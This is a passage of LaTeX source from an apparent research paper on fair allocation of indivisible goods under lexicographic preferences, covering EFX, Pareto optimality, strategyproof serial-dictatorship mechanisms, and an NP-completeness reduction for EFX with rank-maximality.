\node[circle,fill=black,minimum size=4pt,inner sep=0pt] (7) at (4.2-0.5,2.5-1.1) {};
\draw[shorten >=0.9cm,-latex] (4) -- (8.center);
\draw[shorten >=-0.25cm,-latex] (5) -- (11.north east);
\draw[shorten >=-0.2cm,-latex] (6) -- (10.north west);
\draw[shorten >=1cm,-latex] (7) -- (9.north);
\end{tikzpicture}
%
\caption{Summary of our theoretical results.}
\label{fig:Summary_Of_Results}
\end{figure}
\paragraph{Our Contributions.}
\Cref{fig:Summary_Of_Results} summarizes our theoretical contributions.
\begin{itemize}
\item \textbf{\textrm{\textup{EFX}}{}+\textup{PO}{}}: Our first result provides a family of polynomial-time algorithms for computing \textrm{\textup{EFX}}{}+\textup{PO}{} allocations under lexicographic preferences. Furthermore, we show that \emph{any} \textrm{\textup{EFX}}{}+\textup{PO}{} allocation can be computed by some algorithm in this family, thus providing an algorithmic characterization of such allocations~(\Cref{thm:EFX_PO}). This result establishes a sharp contrast with the additive valuations domain where the two properties are incompatible in general.
\item \textbf{\textrm{\textup{EFX}}{}+\textup{PO}{}+strategyproofness}: The positive result for \textrm{\textup{EFX}}{}+\textup{PO}{} motivates us to investigate a more demanding property combination of \textrm{\textup{EFX}}{}, \textup{PO}{}, and strategyproofness. Once again, we obtain an algorithmic characterization~(\Cref{thm:EFX_PO_SP_Neutral_NonBossy}): Subject to some common axioms (non-bossiness and neutrality), any mechanism satisfying \textrm{\textup{EFX}}{}, \textup{PO}{}, and strategyproofness is characterized by a special class of \emph{quota-based serial dictatorship mechanisms}~\citep{Papai00:Strategyproofquotas,hosseini2019multiple}.
\item \textbf{\textrm{\textup{EFX}}{}+rank-maximality}: When the efficiency notion is strengthened to \emph{rank-maximality}, we encounter incompatibility with strategyproofness (\Cref{eg:SP+RM_NonExistence}) as well as with \textrm{\textup{EFX}}{} (\Cref{eg:EFk+RM_NonExistence}). Furthermore, checking the existence of \textrm{\textup{EFX}}{} and rank-maximal allocations turns out to be \textrm{\textup{NP-complete}}{}~(\Cref{thm:EFX_RM_NP-complete}), suggesting that our algorithmic results are, in a certain sense, `maximal'. The intractability persists even when \textrm{\textup{EFX}}{} is relaxed to envy-freeness up to $k$ goods ($\EF{k}$)~(\Cref{thm:EFk_RM_NP-complete}), but efficient computation is possible if \textrm{\textup{EFX}}{} is relaxed to another well-studied fairness notion called \emph{maximin share guarantee} or \textrm{\textup{MMS}}{}~(\Cref{thm:MMS_RM_Goods}).
\end{itemize}
\paragraph{Related Work.}
Envy-free solutions may not always exist for indivisible goods. As a result, the literature has focused on notions of approximate fairness, most notably \emph{envy-freeness up to one good} (\EF{1}) and its strengthening called \emph{envy-freeness up to any good} (\textrm{\textup{EFX}}{}). The former enjoys strong existential and algorithmic support, as an \EF{1} allocation always exists for general monotone valuations and can be efficiently computed. However, achieving \EF{1} together with economic efficiency seems non-trivial: For additive valuations, \EF{1}+\textup{PO}{} allocations always exist~\citep{caragiannis2019unreasonable,BKV18finding} but no polynomial-time algorithm is known for computing such allocations.
The stronger notion of \textrm{\textup{EFX}}{} has proven to be more challenging. As mentioned previously, the existence of \textrm{\textup{EFX}}{} for additive valuations remains an open problem. Additionally, \textrm{\textup{EFX}}{} and Pareto optimality are known to be incompatible for non-negative additive valuations~\citep{PR20almost} and is open for positive additive valuations.
The aforementioned limitations of \textrm{\textup{EFX}}{} have motivated the study of further relaxations or special cases in search of positive results. Some recent results establish the existence of partial allocations that satisfy \textrm{\textup{EFX}}{} after discarding a small number of goods while also fulfilling certain efficiency criteria~\citep{CGH19envy,CKM+20little}. Similarly, \textrm{\textup{EFX}}{} allocations have been shown to exist for the special case of three agents with additive valuations~\citep{CGM20efx}, or when the agents can be partitioned into two \emph{types}~\citep{M20existence}, or when agents have dichotomous preferences~\citep{ABF+20maximum}. For cardinal utilities, various multiplicative approximations of \textrm{\textup{EFX}}{} (and its variant that involves removing an \emph{average} good) have been considered~\citep{PR20almost,AMN20multiple,CGM20fair,FHL+20almost}. Another emerging line of work studies \textrm{\textup{EFX}}{} for \emph{non-monotone} valuations, i.e., when the resources consist of both goods and chores~\citep{CL20fairness,BBB+20envy}.
The interaction between fairness and efficiency is further complicated with the addition of \emph{strategyproofness} due to several fundamental impossibility results both in deterministic \citep{zhou1990conjecture} as well as randomized settings~\citep{Bogomolnaia01:New,kojima2009random}.
Indeed, while ordinal efficiency is compatible with envy-freeness, such outcomes cannot, in general, be achieved via (weakly) strategyproof mechanisms even under strict preferences~\citep{kojima2009random}. Moreover, sd-efficiency and sd-strategyproofness (here, \emph{sd} stands for stochastic dominance) are incompatible even with a weak notion of stochastic fairness called equal treatment of equals~\citep{aziz2017impossibilities}. In a similar vein, for deterministic mechanisms, any strategyproof mechanism could fail to satisfy \EF{1} even for two agents under additive valuations~\citep{amanatidis2017truthful}.
Lexicographic preferences have been successfully used as a domain restriction to circumvent impossibility results in mechanism design~\citep{Sikdar2017:Mechanism,FLS18complexity}. In fair division of indivisible goods, lexicographic (sub)additive utilities have facilitated constant-factor approximation algorithms for egalitarian and Nash social welfare objectives~\citep{BBL+17positional,N20fairly}. \citet{hosseini2019multiple} show that under lexicographic preferences, a mechanism is Pareto optimal, strategyproof, non-bossy, and neutral if and only if it is a serial dictatorship quota mechanism. In randomized settings, too, lexicographic preferences have led to the design of mechanisms that simultaneously satisfy stochastic efficiency, envy-freeness, and \text{strategyproofness}{}~\citep{SV15allocation,hosseini2019multiple}.
\section{Preliminaries}
\paragraph{Model} For any $k \in \mathbb{N}$, define $[k] \coloneqq \{1,\dots,k\}$. An \emph{instance} of the allocation problem is a tuple $\langle N, M, \succ \rangle$, where $N \coloneqq [n]$ is a set of $n$ {\em agents}, $M$ is a set of $m$ \emph{goods}, and $\succ \, \coloneqq (\succ_1, \dots, \succ_n)$ is a {\em preference profile} that specifies the ordinal preference of each agent $i \in N$ as a linear order $\succ_i \, \in \L$ over the set of goods; here, $\L$ denotes the set of all (strict and complete) linear orders over $M$.
\paragraph{Allocation and bundles} A \emph{bundle} is any subset $X \subseteq M$ of the set of goods. An {\em allocation} $A=(A_1,\dots,A_n)$ is an $n$-partition of $M$, where $A_i\subseteq M$ is the bundle assigned to agent $i$. We will write $\Pi$ to denote the set of all $n$-partitions of $M$. We say that allocation $A$ is {\em partial} if $\bigcup_{i \in N} A_i \subset M$, and \emph{complete} if $\bigcup_{i \in N} A_i = M$.
\paragraph{Lexicographic preferences}
We will assume that agents' preferences over the bundles are given by the lexicographic extension of their preferences over individual goods. Informally, this means that if an agent ranks the goods in the order $a \succ b \succ c \succ \dots$, then it prefers a bundle containing $a$ over any other bundle that doesn't, subject to that, it prefers a bundle containing $b$ over any other bundle that doesn't, and so on. Formally, given any pair of bundles $X,Y \subseteq M$ and any linear order $\succ_i \, \in \L$, we have $X \succ_i Y$ if and only if there exists a good $g \in X \setminus Y$ such that $\{g' \in Y : g' \succ_i g\} \subseteq X$. Notice that since $\succ_i$ is a linear order over $M$, the corresponding lexicographic extension is a linear order over $2^M$.
For any agent $i \in N$ and any pair of bundles $X,Y \in M$, we will write $X \succeq_i Y$ if either $X \succ_i Y$ or $X=Y$.
\paragraph{Envy-freeness} Given a preference profile $\>$, an allocation $A$ is said to be (a) \emph{envy-free} (\EF{}) if for every pair of agents $i,h \in N$, we have $A_i \succeq_i A_h$; (b) \emph{envy-free up to any good} (\textrm{\textup{EFX}}{}) if for every pair of agents $i,h \in N$ such that $A_h \neq \emptyset$ and every good $j \in A_h$, we have $A_i \succeq_i A_h \setminus \{j\}$, and (c) \emph{envy-free up to $k$ goods} (\EF{k}) if for every pair of agents $i,h \in N$ such that $A_h \neq \emptyset$, there exists a set $S \subseteq A_h$ such that $|S| \leq k$ and $A_i \succeq_i A_h \setminus S$. Clearly, $\textrm{\textup{EFX}}{} \Rightarrow \EF{1} \Rightarrow \EF{2} \Rightarrow \dots$.
\paragraph{Maximin Share} An agent's maximin share is its most preferred bundle that it can guarantee itself as a divider in an $n$-person cut-and-choose procedure against adversarial opponents~\citep{budish2011combinatorial}. Formally, the maximin share of agent $i$ is given by $\textrm{\textup{MMS}}_i \coloneqq \max_{A \in \Pi} \min_{i} \{A_1,\dots,A_n\}$, where $\min\{\cdot\}$ and $\max\{\cdot\}$ denote the least-preferred and most-preferred bundles with respect to $\succ_i$. An allocation $A$ satisfies \emph{maximin share guarantee} (\textrm{\textup{MMS}}{}) if each agent receives a bundle that it weakly prefers to its maximin share. That is, the allocation $A$ is \textrm{\textup{MMS}}{} if for every $i \in N$, $A_i \succeq_i \textrm{\textup{MMS}}_i$. It is easy to see that $\EF{} \Rightarrow \textrm{\textup{MMS}}{}$. Additionally, for lexicographic preferences, we have that $\textrm{\textup{EFX}}{} \Rightarrow \textrm{\textup{MMS}}{}$ (the converse is not true) while \EF{1} and \textrm{\textup{MMS}}{} can be incomparable (see \Cref{sec:app:prop:EFX_implies_MMS} of the appendix).
\paragraph{Pareto optimality} Given a preference profile $\>$, an allocation $A$ is said to be \emph{Pareto optimal} (\textup{PO}{}) if there is no other allocation $B$ such that $B_i \succeq_i A_i$ for every agent $i \in N$ and $B_k \succ_k A_k$ for some agent $k \in N$.
\paragraph{Rank-maximality} A \emph{rank-maximal} (\textrm{\textup{RM}}{}) allocation is one that maximizes the number of agents who receive their favorite good, subject to which it maximizes the number of agents who receive their second favorite good, and so on~\citep{IKM+06rank,P13capacitated}. Given an allocation $A$, its \emph{signature} refers to a tuple $(n_1,n_2,\dots,n_m)$ where $n_i$ is the number of agents who receive their $i^\text{th}$ favorite good (note that an agent can contribute to multiple $n_i$'s). All rank-maximal allocations for a given instance have the same signature. Computing \emph{some} rank-maximal allocation for a given instance is easy: Assign each good to an agent that ranks it the highest among all agents (tiebreak arbitrarily). This procedure provides a computationally efficient way of computing the signature of a rank-maximal allocation as well as verifying whether a given allocation is rank-maximal. Notice that rank-maximality is a strictly stronger requirement than Pareto optimality.
\paragraph{Mechanism} A mechanism $f: \L^n \to \Pi$ is a mapping from preference profiles to allocations. For any preference profile $\succ \, \in \L^n$, we use $f(\>)$ to denote the allocation returned by $f$, and $f_i(\>)$ to denote the bundle assigned to agent $i$.
\paragraph{Properties of mechanisms} A mechanism $f: \L^n \to \Pi$ is said to satisfy \EF{}\,/\,\textrm{\textup{EFX}}{}\,/\,\EF{k}\,/\,\textup{PO}{}\,/\,\textrm{\textup{RM}}{} if for every preference profile $\succ \, \in \L^n$, the allocation $f(\>)$ has that property. In addition, a mechanism $f$ satisfies
\begin{itemize}
\item \emph{strategyproofness} (\textrm{\textup{SP}}{}) if no agent can improve by misreporting its preferences. That is, for every preference profile $\succ \, \in \L^n$, every agent $i \in N$, and every (misreported) linear order $\>'_i \in \L$, we have $f_i(\>) \succeq_i f_i(\>')$, where $\>' \coloneqq (\>_1,\dots,\>_{i-1},\>'_i,\>_{i+1},\dots,\>_n)$.
\item \emph{non-bossiness} if no agent can modify the allocation of another agent by misreporting its preferences without changing its own allocation. That is, for every profile $\succ \, \in \L^n$, every agent $i\in N$, and every (misreported) linear order $\>'_i \in \L$, we have $f_i(\>')=f_i(\>) \Rightarrow f(\>')=f(\>)$, where $\>' \coloneqq (\>_1,\dots,\>_{i-1},\>'_i,\>_{i+1},\dots,\>_n)$.
\item \emph{neutrality} if relabeling the goods results in a consistent change in the allocation. That is, for every preference profile $\succ \, \in \L^n$ and every relabeling of the goods $\pi: M \rightarrow M$, it holds that $f(\pi(\>)) = \pi(f(\>))$, where $\pi(\>) \coloneqq (\pi(\>_1),\dots,\pi(\>_n))$ and $\pi(A) \coloneqq (\pi(A_1),\dots,\pi(A_n))$ for any allocation $A = (A_1,\dots,A_n)$.
\end{itemize}
\section{\textrm{\textup{EFX}}{} and Pareto Optimality}
Recall that for additive valuations, establishing the existence of \textrm{\textup{EFX}}{} allocations remains an open problem, and there exist instances where no allocation is simultaneously \textrm{\textup{EFX}}{} and \textup{PO}{}~\citep{PR20almost}. Our first result (\Cref{thm:EFX_PO}) shows that there is no conflict between fairness and efficiency for lexicographic preferences: Not only does there exist a family of polynomial-time algorithms that always return \textrm{\textup{EFX}}{}+\textup{PO}{} allocations, but \emph{every} \textrm{\textup{EFX}}{}+\textup{PO}{} allocation can be computed by some algorithm in this family. We will start with an easy observation concerning \textrm{\textup{EFX}}{} allocations.
\begin{restatable}{prop}{EFXProperty}
An allocation $A$ is \textrm{\textup{EFX}}{} if and only if each envied agent in $A$ gets exactly one good.
\label{prop:efx_property}
\end{restatable}
\paragraph{Description of algorithm}
Each algorithm in the family (Algorithm~\ref{alg:EFX+PO}) is specified by an ordering $\sigma$ over the agents, and consists of two phases. Phase 1 involves a single round of serial dictatorship according to $\sigma$. Phase 2 assigns the remaining goods among the \emph{unenvied agents} according to a picking sequence $\tau$. Note that the set of unenvied agents after Phase 1 must be nonempty; in particular, the last agent in $\sigma$ belongs to this set since every other agent prefers the good that it picked in Phase 1 over any good in the last agent's bundle.
\begin{algorithm}[h]
\DontPrintSemicolon
\linespread{1.2}
\KwIn{An instance $\langle N, M, \> \rangle$ with lexicographic preferences}
\Parameters{A permutation $\sigma: N \rightarrow N$ of the agents}
\KwOut{An allocation $A$}
$A \leftarrow (\emptyset,\dots,\emptyset)$\;
\Comment{\scriptsize{Phase 1: Serial dictatorship for assigning $n$ goods}}
\tikzmk{A}
Agents arrive according to $\sigma$, and each picks a favorite good from the set of remaining goods. Update the partial allocation $A$.\;
\nonl \tikzmk{B}
\boxit{mygray}
\Comment{\scriptsize{Phase 2: Allocate leftover goods via picking sequence}}
\oldnl \tikzmk{A}
\uIf{the set of remaining goods is nonempty}{$U \leftarrow \{i \in N : i \text{ is not envied by any agent under $A$}\}$.\;
Fix any picking sequence $\tau$ of length $m-n$ consisting only of the agents in $U$ (i.e., the \emph{unenvied} agents).\;
Assign remaining goods according to $\tau$ and update $A$.\;}
\tikzmk{B}
\boxit{mygray}
\KwRet{$A$}
\caption{\textrm{\textup{EFX}}{}+\textup{PO}{}}
\label{alg:EFX+PO}
\end{algorithm}
\begin{restatable}{thm}{thmefxpo}
For any ordering $\sigma$ of the agents, the allocation computed by Algorithm~\ref{alg:EFX+PO} satisfies \textrm{\textup{EFX}}{} and \textup{PO}{}. Conversely, any \textrm{\textup{EFX}}{}+\textup{PO}{} allocation can be computed by Algorithm~\ref{alg:EFX+PO} for some choice of $\sigma$.
\label{thm:EFX_PO}
\end{restatable}
\begin{proof}
We will start by showing that the allocation $A$ returned by Algorithm~\ref{alg:EFX+PO} satisfies \textrm{\textup{EFX}}{}. From \Cref{prop:efx_property}, it suffices to show that any envied agent gets exactly one good in $A$. Notice that any agent that is envied at the end of Phase 1 does not receive any good in Phase 2. Furthermore, the pairwise envy relations remain unchanged during Phase 2 since each agent has already picked its favorite available good in Phase 1, and because of lexicographic preferences, any goods assigned in Phase 2 are strictly less preferred. Thus, $A$ is \textrm{\textup{EFX}}{}.
To prove Pareto optimality (\textup{PO}{}), suppose, for contradiction, that $A$ is Pareto dominated by an allocation $B$. Then, there must exist some agent, say $i$, who receives a good under $A$ that it does not receive under $B$ (i.e., $A_i \setminus B_i \neq \emptyset$); we will call any such item a \emph{difference} good. Observe that the execution of Algorithm~\ref{alg:EFX+PO} can be described in terms of a combined picking sequence $\langle \sigma, \tau \rangle$. Thus, without loss of generality, we can define $i$ to be the \emph{first} agent according to $\langle \sigma, \tau \rangle$ to receive a difference good. Let $g$ denote the corresponding difference good picked by $i$, and note that $g \in A_i \setminus B_i$ by assumption.
Since $B$ Pareto dominates $A$ and $A_i \neq B_i$, we must have $B_i \, \>_i \, A_i$. For lexicographic preferences, this means that there exists a good $g' \in B_i \setminus A_i$ such that $g' \, \>_i \, g$. Since all agents preceding $i$ in $\langle \sigma, \tau \rangle$ pick the goods that they also own under $B$, the good $g'$ must be available (along with $g$) when it is $i$'s turn to pick. Thus, $i$ would not pick $g$, which is a contradiction. Hence, $A$ satisfies \textup{PO}{}.
To prove the converse, note that any \textup{PO}{} allocation can be induced by a picking sequence.\footnote{Indeed, in any \textup{PO}{} allocation, some agent must receive its favorite good (otherwise a cyclic exchange of the top-ranked goods gives a Pareto improvement). Add this agent to the picking sequence, and repeat the procedure for the remaining goods.} Given any \textrm{\textup{EFX}}{}+\textup{PO}{} allocation $A$, let $S$ denote the corresponding picking sequence. We claim that without loss of generality, the first $n$ positions in $S$ belong to $n$ different agents. Indeed, if some agent $i$ appears more than once in the $n$-prefix of $S$, then $|A_i|>1$. By \Cref{prop:efx_property}, $i$ must not be envied by any other agent. For lexicographic preferences, this means that the good picked by any other agent $j$ in its first appearance in $S$ is preferred by $j$ over every good picked by $i$.
Without loss of generality, let $i$ be the first agent with a repeated occurrence in $S$. Let $t_i$ denote the index (i.e., position in $S$) of the second appearance of $i$. Among all agents whose first appearance occurs after $t_i$, let $j$ denote the first one, and suppose this appearance occurs at position $t_j$ in the sequence $S$. Then, all positions between $t_i$ and until (but excluding) $t_j$ correspond to repeated occurrences. By the aforementioned argument, $j$ does not envy any of the corresponding agents. Furthermore, none of the corresponding agents prefer the good picked by $j$ over the ones that they picked, since they appear before $j$ in the sequence $S$.
Thus, a modified sequence where $j$ is pushed immediately before $t_i$ without making any other changes results in the same allocation. Repeated use of the same observation gives us that the repeated appearances of unenvied agents can be ``pushed behind''' the first appearances of other agents without loss of generality, implying that the $n$-prefix of $S$ is a permutation.
We can now instantiate Algorithm~\ref{alg:EFX+PO} with $\sigma$ as the $n$-prefix of $S$ and $\tau$ as $S \setminus \sigma$ to compute the allocation
$A$.
\end{proof}
\section{Characterizing Strategyproof Mechanisms}
In addition to fairness and efficiency, an important desideratum for allocation mechanisms is strategyproofness. For additive valuations, strategyproofness is known to be incompatible even with \EF{1}~\citep{amanatidis2017truthful}. By contrast, for lexicographic preferences, we will show that strategyproofness can be achieved in conjunction with a stronger fairness guarantee (\textrm{\textup{EFX}}{}) as well as Pareto optimality, non-bossiness, and neutrality~(\Cref{thm:EFX_PO_SP_Neutral_NonBossy}). Indeed, a special case of the mechanism in Algorithm~\ref{alg:EFX+PO} where the last agent gets all the remaining goods characterizes these properties (Algorithm~\ref{alg:IQSD}).
\begin{algorithm}[h]
\DontPrintSemicolon
\linespread{1.2
\KwIn{An instance $\langle N, M, \> \rangle$ with lexicographic preferences}
\Parameters{A permutation $\sigma: N \rightarrow N$ of the agents}
\KwOut{An allocation $A$}
$A \leftarrow (\emptyset,\dots,\emptyset)$\;
Execute one round of serial dictatorship according to $\sigma$.\;
Assign all remaining goods to the last agent in $\sigma$.\;
\KwRet{$A$}
\caption{}
\label{alg:IQSD}
\end{algorithm}
Our characterization result builds upon an existing result of \citet[Theorem 5.6]{hosseini2019multiple} (see \Cref{prop:quota}) that characterizes four out of the five properties mentioned above (excluding \textrm{\textup{EFX}}{}) in terms of {\em Serial Dictatorship Quota Mechanisms} (\textrm{\textup{SDQ}}{}), as defined below.
\begin{dfn}
The Serial Dictatorship Quota $(\textrm{\textup{SDQ}}{})$ mechanism is specified by a permutation $\sigma: N \rightarrow N$ of the agents and a set of quotas $(q_1,\dots,q_n)$ such that $\sum_{i=1}^n q_i = m$. Given a lexicographic instance $\langle N, M, \> \rangle$ as input, the \textrm{\textup{SDQ}}{} mechanism considers agents in the order $\sigma$, and assigns the $i^\text{th}$ agent its most preferred bundle of size $q_i$ from the remaining goods. The resulting allocation is returned as output.
\label{dfn:sdq}
\end{dfn}
\begin{restatable}[\citealp{hosseini2019multiple}]{prop}{HLquota}
For lexicographic preferences, a mechanism is Pareto optimal, strategyproof, non-bossy, and neutral if and only if it is \textrm{\textup{SDQ}}{}.
\label{prop:quota}
\end{restatable}
The next result (\Cref{thm:EFX_PO_SP_Neutral_NonBossy}) provides an algorithmic characterization of \textrm{\textup{EFX}}{}, \textup{PO}{}, strategyproofness, non-bossiness, and neutrality for lexicographic preferences.
\begin{restatable}{thm}{thmIQSD}
For any ordering $\sigma$ of the agents, Algorithm~\ref{alg:IQSD} is \textrm{\textup{EFX}}{}, \textup{PO}{}, strategyproof, non-bossy, and neutral. Conversely, any mechanism satisfying these properties can be implemented by Algorithm~\ref{alg:IQSD} for some $\sigma$.
\label{thm:EFX_PO_SP_Neutral_NonBossy}
\end{restatable}
\begin{proof}
Note that Algorithm~\ref{alg:IQSD} is a special case of \textrm{\textup{SDQ}}{} for the quotas $q_i = 1$ for all $i \in [n-1]$ and $q_n=m-(n-1)$. Therefore, from \Cref{prop:quota}, it is \textup{PO}{}, strategyproof, non-bossy, and neutral. Furthermore, Algorithm~\ref{alg:IQSD} is also a special case of Algorithm~\ref{alg:EFX+PO} and is therefore \textrm{\textup{EFX}}{} (\Cref{thm:EFX_PO}).
To prove the converse, let $f$ be an arbitrary mechanism satisfying the desired properties. From \Cref{prop:quota}, $f$ must be an \textrm{\textup{SDQ}}{} mechanism for some ordering $\sigma$ and some set of quotas $(q_1,\dots,q_n)$ such that $\sum_{i=1}^n q_i = m$. If $m < n$, the claim follows easily from \Cref{thm:EFX_PO}, so we can assume, without loss of generality, that $m \geq n$. Then, by \Cref{prop:efx_property}, we must have that $q_i \geq 1$ for all $i \in [n]$. Therefore, it suffices to show that $q_i = 1$ for all $i \in [n-1]$.
Assume, without loss of generality, that $\sigma = (1,2,\dots,n)$. Consider a preference profile $\>$ with \emph{identical} preferences, i.e., $\>_i = \>_k$ for all $i,k \in [n]$. Let $g_1 \succ_i g_2 \succ_i \dots \succ_i g_m$ for any $i \in [n]$. Suppose, for contradiction, that $q_i > 1$ for some $i \in [n-1]$, and let $k \in [n-1]$ be the smallest index for which this happens. Since $f$ is an \textrm{\textup{SDQ}}{} mechanism, we have that $g_k \in f_k(\>)$ and $|f_k(\>)| = q_k > 1$. Then, for every $\ell > k$, agent $\ell$ envies agent $k$. By \Cref{prop:efx_property}, $f$ violates \textrm{\textup{EFX}}{}, which is a contradiction. Therefore, $f$ must be identical to Algorithm~\ref{alg:IQSD} for the ordering $\sigma$, as desired.
\end{proof}
\begin{restatable}{remark}{groupstrategyproof}
We note that any deterministic strategyproof and non-bossy mechanism is also group-strategyproof~\citep{Papai00:Strategyproof}. Therefore, Algorithm~\ref{alg:IQSD} also characterizes the set of \textrm{\textup{EFX}}{}, \textup{PO}{}, group-strategyproof, non-bossy, and neutral mechanisms under lexicographic preferences.
\label{rmk:groupstrategyproof}
\end{restatable}
In \Cref{prop:minimalityGoods} (whose proof is presented in \Cref{sec:app:prop:minimalityGoods} of the appendix), we show that the set of properties considered in \Cref{thm:EFX_PO_SP_Neutral_NonBossy} is \emph{minimal}. That is, dropping any property from the characterization necessarily allows for feasible mechanisms beyond those in Algorithm~\ref{alg:IQSD}.
\begin{restatable}{prop}{minimalityGoods}
The set $\{$\textrm{\textup{EFX}}{}, \textup{PO}{}, strategyproofness, non-bossiness, neutrality$\}$ is a minimal set of properties for characterizing the family of mechanisms in Algorithm~\ref{alg:IQSD}.
\label{prop:minimalityGoods}
\end{restatable}
The efficiency guarantee in \Cref{thm:EFX_PO_SP_Neutral_NonBossy} cannot be strengthened much further, as there exists an instance where any \emph{rank-maximal} (\textrm{\textup{RM}}{}) mechanism violates strategyproofness~(\Cref{eg:SP+RM_NonExistence}).
\begin{example}[\textbf{Strategyproofness and \textrm{\textup{RM}}{}}]
Consider the instance below with $k+2$ goods $g_1,\dots,g_{k+2}$ and three agents:
\begin{align*}
a_1: ~&~ g_1 \, \> \, g_2 \, \> \, g_3 \, \> \dots \> \, g_{k+1} \, \> \, g_{k+2}\\ \nonumber
a_2: ~&~ g_1 \, \> \, g_2 \, \> \, g_3 \, \> \dots \> \, g_{k+1} \, \> \, g_{k+2}\\ \nonumber
a_3: ~&~ g_{2} \, \> \, g_3 \, \> \, g_4 \, \> \dots \> \, g_{k+2} \, \> \, g_1. \nonumber
\end{align*}
Each of the goods $g_2,\dots,g_{k+2}$ is ranked higher by $a_3$ than by $a_1$ or $a_2$, and therefore must be assigned to $a_3$ in any rank-maximal allocation. Suppose, under truthful reporting, $g_1$ is assigned to $a_1$, and $a_2$ gets an empty bundle. Then, $a_2$ could falsely report $g_3$ as its favorite good. By rank-maximality, $g_3$ is now assigned to $a_2$, resulting in a strict improvement.
\label{eg:SP+RM_NonExistence}
\end{example}
The non-existence result in \Cref{eg:SP+RM_NonExistence} prompts us to forego strategyproofness (as well as non-bossiness and neutrality) and focus only on (approximate) envy-freeness and rank-maximality.
\section{Envy-Freeness and Rank-Maximality}
For lexicographic preferences, it is easy to see that a complete allocation is envy-free if and only if each agent receives its favorite good. Checking the existence of an envy-free allocation therefore boils down to computing a (left-)perfect matching in a bipartite graph where the left and the right vertex sets correspond to the agents and the goods, respectively, and the edges denote the top-ranked good of each agent. If an envy-free partial allocation of the top-ranked goods exists, then it can be extended to a complete rank-maximal allocation by assigning each remaining good to an agent that has the highest rank for it (note that the assignment of the remaining goods does not introduce any envy). Thus, the existence of an envy-free and rank-maximal allocation can be checked efficiently for lexicographic preferences (\Cref{prop:EF_RM_Polytime}).
\begin{restatable}[]{prop}{EFRM}
There is a polynomial-time algorithm that, given a lexicographic instance as input, computes an envy-free and rank-maximal allocation, whenever one exists.
\label{prop:EF_RM_Polytime}
\end{restatable}
Since an envy-free allocation is not guaranteed to exist, one could ask whether rank-maximality can always be achieved alongside \emph{approximate} envy-freeness; in particular, \EF{k} and \textrm{\textup{EFX}}{}. \Cref{eg:EFk+RM_NonExistence} shows that both of these notions could conflict with rank-maximality. Specifically, for any fixed $k \in \mathbb{N}$, an \EF{k}+\textrm{\textup{RM}}{} allocation could fail to exist. Since \textrm{\textup{EFX}}{} implies \EF{1}, a similar incompatibility holds for \textrm{\textup{EFX}}{}+\textrm{\textup{RM}}{} as well.
\begin{example}[\textbf{\EF{k} and \textrm{\textup{RM}}{}}]
Consider again the instance in \Cref{eg:SP+RM_NonExistence}. Any rank-maximal allocation assigns the goods $g_2,\dots,g_{k+2}$ to $a_3$. If $g_1$ is assigned to $a_1$, then $a_2$ gets an empty bundle and the pair $\{a_2,a_3\}$ violates \EF{k}.
\label{eg:EFk+RM_NonExistence}
\end{example}
Given the non-existence result in \Cref{eg:EFk+RM_NonExistence}, a natural question is whether there exists an efficient algorithm for checking the existence of an approximately envy-free and rank-maximal allocation. Unfortunately, the news here is also negative, as the problem turns out to be \textrm{\textup{NP-complete}}{} (\Cref{thm:EFX_RM_NP-complete}). Thus, while \textrm{\textup{EFX}}{} can always be achieved in conjunction with Pareto optimality (\Cref{thm:EFX_PO,thm:EFX_PO_SP_Neutral_NonBossy}), strengthening the efficiency notion to rank-maximality results in non-existence and computational hardness.
\begin{restatable}[]{thm}{EFXRM}
Determining whether a given instance admits an \textrm{\textup{EFX}}{} and rank-maximal allocation is \textrm{\textup{NP-complete}}{}.
\label{thm:EFX_RM_NP-complete}
\end{restatable}
\begin{proof}
Membership in \textrm{\textup{NP}}{} follows from the fact that both \textrm{\textup{EFX}}{} and rank-maximality can be checked in polynomial time. To prove \textrm{\textup{NP-hard}}{}ness, we will show a reduction from a restricted version of \textup{\textsc{3-SAT}}{} called \textup{\textsc{(2/2/3)-SAT}}{}, which is known to be \textrm{\textup{NP-complete}}{}~\citep{AD19sat}. An instance of \textup{\textsc{(2/2/3)-SAT}}{} consists of a collection of $r$ variables $X_1,\dots,X_r$ and $s$ clauses $C_1,\dots,C_s$, where each clause is specified as a disjunction of three literals, and each variable occurs in exactly four clauses, twice negated and twice non-negated. The goal is to determine if there is a truth assignment that satisfies all clauses.
\emph{Construction of the reduced instance}: We will construct a fair division instance with $n = 4r$ agents and $m=4r+s$ goods. The set of agents consists of $2r$ \emph{literal} agents $\{x_i,\overline{x}_i\}_{i \in [r]}$, and $2r$ \emph{dummy} agents $\{d_i,\overline{d}_i\}_{i \in [r]}$. The set of goods consists of $2r$ \emph{signature} goods $\{S_i,\overline{S}_i\}_{i \in [r]}$, $s$ \emph{clause} goods $\{C_j\}_{j \in [s]}$, and $2r$ \emph{dummy} goods $\{T_i,B_i\}_{i \in [r]}$; here $T_i$ and $B_i$ denote the \emph{top} and the \emph{bottom} dummy goods associated with the variable $X_i$, respectively.
\begin{table}[ht]
\renewcommand{\arraystretch}{1.35}
\centering
\begin{tabular}{|cl|}
%
\hline
%
$\vartriangleright$: & $S_1 \succ \overline{S}_1 \succ \dots \succ S_r \succ \overline{S}_r \succ T_1 \succ \dots \succ T_r$ \hfill $\succ C_1 \succ \dots \succ C_s \succ B_1 \succ \dots \succ B_r$ \\
%
\hline
%
$x_i$: & $S_i \succ \, \vartriangleright_{(j-1)} \, \succ C_j \succ \, \vartriangleright_{(k-j-1)} \, \succ C_k \succ *$ \\
%
\hline
%
$\overline{x}_i$: & $\overline{S}_i \succ \, \vartriangleright_{(p-1)} \, \succ C_p \succ \, \vartriangleright_{(q-p-1)} \, \succ C_q \succ *$ \\
%
\hline
%
$d_i$: & $T_i \succ S_i \succ B_i \succ * ~~~ \text{ and } ~~~ \overline{d}_i: T_i \succ \overline{S}_i \succ B_i \succ *.$ \\
%
\hline
\end{tabular}
\caption{Preferences of agents in the proof of \Cref{thm:EFX_RM_NP-complete}.}
\label{tab:EFX_RM_NP-complete}
\end{table}
